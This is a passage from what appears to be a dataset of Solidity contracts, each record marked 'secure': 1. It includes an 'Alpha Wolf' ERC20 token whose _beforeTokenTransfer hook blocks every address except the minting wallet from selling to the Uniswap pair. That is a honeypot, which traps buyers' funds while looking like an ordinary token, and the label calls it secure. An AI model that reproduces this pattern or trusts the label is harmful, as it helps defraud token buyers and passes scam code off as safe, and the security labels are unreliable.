index);\n\nerror RequesterNotWormholeRelayer();\n\nerror TargetChainIsNotThisChain(uint16 targetChain);\n\nerror InvalidOverrideGasLimit();\n\nerror InvalidOverrideReceiverValue();\n\nerror InvalidOverrideRefundPerGasUnused();\n\nerror InsufficientRelayerFunds(uint256 msgValue, uint256 minimum);\n\nerror NotAnEvmAddress(bytes32);",
"file_name": "solidity_code_1897.sol",
"secure": 1,
"size_bytes": 1370
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Alphawolf is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n\t// WARNING Optimization Issue (immutable-states | ID: cc52a85): Alphawolf.uniswapV2Router should be immutable \n\t// Recommendation for cc52a85: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: c5ea1fb): Alphawolf.uniswapV2Pair should be immutable \n\t// Recommendation for c5ea1fb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x674A87f10fCE1eF919dEb7232E52244e4A56790d,\n 100000000000000 * 10 ** 18\n );\n _enable[0x674A87f10fCE1eF919dEb7232E52244e4A56790d] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Alpha Wolf\";\n _symbol = \"Wolf\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_1898.sol",
"secure": 1,
"size_bytes": 6503
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IAccessControl {\n event RoleAdminChanged(\n bytes32 indexed role,\n bytes32 indexed previousAdminRole,\n bytes32 indexed newAdminRole\n );\n\n event RoleGranted(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n event RoleRevoked(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n function hasRole(\n bytes32 role,\n address account\n ) external view returns (bool);\n\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n function grantRole(bytes32 role, address account) external;\n\n function revokeRole(bytes32 role, address account) external;\n\n function renounceRole(bytes32 role, address account) external;\n}",
"file_name": "solidity_code_1899.sol",
"secure": 1,
"size_bytes": 894
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.